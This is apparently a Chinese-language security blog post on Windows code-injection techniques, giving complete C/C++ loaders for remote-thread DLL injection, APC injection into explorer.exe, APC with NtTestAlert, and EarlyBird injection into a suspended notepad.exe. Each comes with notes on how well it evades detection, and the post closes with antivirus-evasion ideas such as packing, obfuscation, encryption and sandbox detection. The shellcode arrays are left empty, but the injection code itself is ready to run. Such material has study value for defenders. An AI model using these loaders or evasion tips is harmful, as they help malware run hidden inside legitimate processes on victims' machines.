远程线程注入(DLL注入)

加载DLL,dllMain执行

  • 原理:利用远程线程回调函数执行代码所导致的注入
  • 流程:在目标进程中创建远程线程,线程回调函数传参LoadLibrary,传递DLL路径作为回调函数,也就是LoadLibrary的参数。线程执行LoadLibrary后加载DLL并执行。
  • 优点: 相对稳定。
  • 缺点: 易被检测。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <iostream>
#include <windows.h>

#define DLL_PATH L"D:\\Debug\\injectDLL.dll"

// 具体流程:
// 获得目标句柄,申请空间存放变量
// 创建远程线程并记载到目标进程中,线程回调函数调用动态库加载API函数
// 从而执行自定义代码(线程回调函数加载LoadLibiary方式进行的远程线程注入)

int main() {

// 注入流程:
// 得到目标句柄,进行控制(创建线程,并加载自定义DLL)
DWORD dwPid = 0;
scanf_s("%d", &dwPid);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);

// 向目标进程申请空间存放路径名
SIZE_T lpNumberOfBytesWritten = 0;
DWORD dwSize = (wcslen(DLL_PATH) + 1) * 2;
LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, lpAddress, DLL_PATH, dwSize, &lpNumberOfBytesWritten);

HANDLE hThread = CreateRemoteThread(
hProcess, NULL, NULL,
(LPTHREAD_START_ROUTINE)LoadLibraryW,
lpAddress, NULL, NULL
);

// 检测调用完毕,释放资源
WaitForSingleObject(hThread, -1);
VirtualFree(lpAddress, dwSize, NULL);
CloseHandle(hThread);
CloseHandle(hProcess);
}

APC注入(内存注入)

线程切换调用异步过程,异步过程回调函数执行

  • 原理:APC(Asynchronous Procedure Call)异步过程调用,操作系统支持异步过程调用,允许一个进程向另一个进程的执行上下文中插入一个函数(回调函数)的执行,这种机制通常用于异步通信和处理中断,但它也可以被恶意用于注入代码。
  • 流程:向目标进程申请内存空间写入恶意代码,使用系统API注册创建一个异步过程调用对象,关联到目标进程,并将写入的恶意代码的入口点注册为异步过程调用的回调函数。等待异步过程调用触发从而执行恶意代码。
  • 优点: 不创建新的进程和线程,而是内存写入,利用目标进程的执行流程来执行写入的恶意代码,因此较难被检测。
  • 缺点: 注入的程序必须是多线程,部分程序切换线程上下文并不会触发异步过程调用,并且由于异步过程调用的执行依赖于目标进程的上下文切换和调度,可能存在稳定性问题,导致注入失败。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>

// 具体流程:
// 申请空间将恶意代码写入,注册APC对象,设置回调函数为恶意代码入口
// 通过进程名->进程ID->遍历进程线程->插入APC->等待执行

DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
return 0;
}

PROCESSENTRY32 pe;
pe.dwSize = sizeof pe;

if (Process32First(hSnapshot, &pe))
{
do {
if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
{
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe));
}

CloseHandle(hSnapshot);
return 0;
}


BOOL GetAllThreadIdByProcessId(DWORD dwProcessId)
{

DWORD dwBufferLength = 1000;
THREADENTRY32 te32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = TRUE;


// 获取线程快照
::RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

// 获取第一条线程快照信息
bRet = ::Thread32First(hSnapshot, &te32);
while (bRet)
{
// 获取进程对应的线程ID
if (te32.th32OwnerProcessID == dwProcessId)
{
return te32.th32ThreadID;
}

// 遍历下一个线程快照信息
bRet = ::Thread32Next(hSnapshot, &te32);
}
return 0;
}

int main() {
FARPROC pLoadLibrary = NULL;
HANDLE hThread = NULL;
HANDLE hProcess = 0;
DWORD Threadid = 0;
DWORD ProcessId = 0;
BYTE DllName[] = "C:\\Users\\Black Sheep\\source\\repos\\ApcInject\\x64\\Debug\\TestDll.dll";
LPVOID AllocAddr = NULL;

ProcessId = GetProcessIdByName(L"explorer.exe");
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, ProcessId);
pLoadLibrary = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
AllocAddr = VirtualAllocEx(hProcess, 0, sizeof(DllName) + 1, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, AllocAddr, DllName, sizeof(DllName) + 1, 0);
Threadid = GetAllThreadIdByProcessId(ProcessId);
hThread = OpenThread(THREAD_ALL_ACCESS, 0, Threadid);
QueueUserAPC((PAPCFUNC)pLoadLibrary, hThread, (ULONG_PTR)AllocAddr);
CloseHandle(hProcess);
CloseHandle(hThread);
return 0;

}

APC & NtTestAlert Code Execute

利用线程初始化时会调用ntdll中的NtTestAlert函数执行清空APC队列,从而执行提前注入好的恶意代码。

优点:解决了APC注入恶意带是否执行及执行时间的不确定性.

缺点:emmm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <Windows.h>
#include<stdio.h>
char shellcode[]="";
typedef VOID(NTAPI* pNtTestAlert)(VOID);

//具体流程:申请空间写入恶意代码,获取线程ID插入APC,调用NtTestAlert(注:这里是当前进程线程示例)

int main() {

pNtTestAlert NtTestAlert = (pNtTestAlert)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTestAlert");

LPVOID lpBaseAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

memcpy(lpBaseAddress, shellcode, sizeof(shellcode));

QueueUserAPC((PAPCFUNC)lpBaseAddress, GetCurrentThread(), NULL);

NtTestAlert();
return 0;
}

APC注入变种 - EarlyBird

EarlyBird是APC注入和线程劫持结合的变种,利用的是线程初始化时会调用ntdll中的NtTestAlert函数执行清空APC队列,从而执行提前注入好的恶意代码。

优点:解决了APC注入恶意带是否执行及执行时间的不确定性,并且先于进程入口点提前拿到控制权,可以用来过进程内检测。

缺点:需要创建挂起的进程(一般需要为合法/白名单进程),容易被检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <Windows.h>
#include <iostream>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char shellcode[] = "";

// 具体流程:创建挂起进程获得主线程ID,申请空间写入恶意代码,插入APC,调用

int main()
{
LPCSTR lpApplication = "C:\\Windows\\notepad.exe";//32位机器notepad的位置
SIZE_T shellcodeLen = sizeof(shellcode);
STARTUPINFO sInfo = { 0 };
PROCESS_INFORMATION pInfo = { 0 };
CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, (LPSTARTUPINFOA)&sInfo, &pInfo);
HANDLE hProc = pInfo.hProcess;
HANDLE hThread = pInfo.hThread;

LPVOID lpvShellAddress = VirtualAllocEx(hProc, NULL, shellcodeLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE ptApcRoutine = (PTHREAD_START_ROUTINE)lpvShellAddress;
WriteProcessMemory(hProc, lpvShellAddress, shellcode, shellcodeLen, NULL);

QueueUserAPC(PAPCFUNC(ptApcRoutine), hThread, NULL);
ResumeThread(hThread);
return 0;
}

SetWindowHook注入(事件-消息 钩子)

IAT-HOOK注入

参考文章:未完待续。。。

关于免杀的一点思路

静态检测 - 基于特征码、白名单签名

  • 加壳
  • 混淆截断
  • 分离免杀
  • 加密算法加密
  • 无法解壳时大多时候会报毒,(白名单除外)

动态检测 - 沙箱检测

  • 沙箱角度:检测沙箱,沙箱漏洞利用
  • 病毒自身:延长伪装时间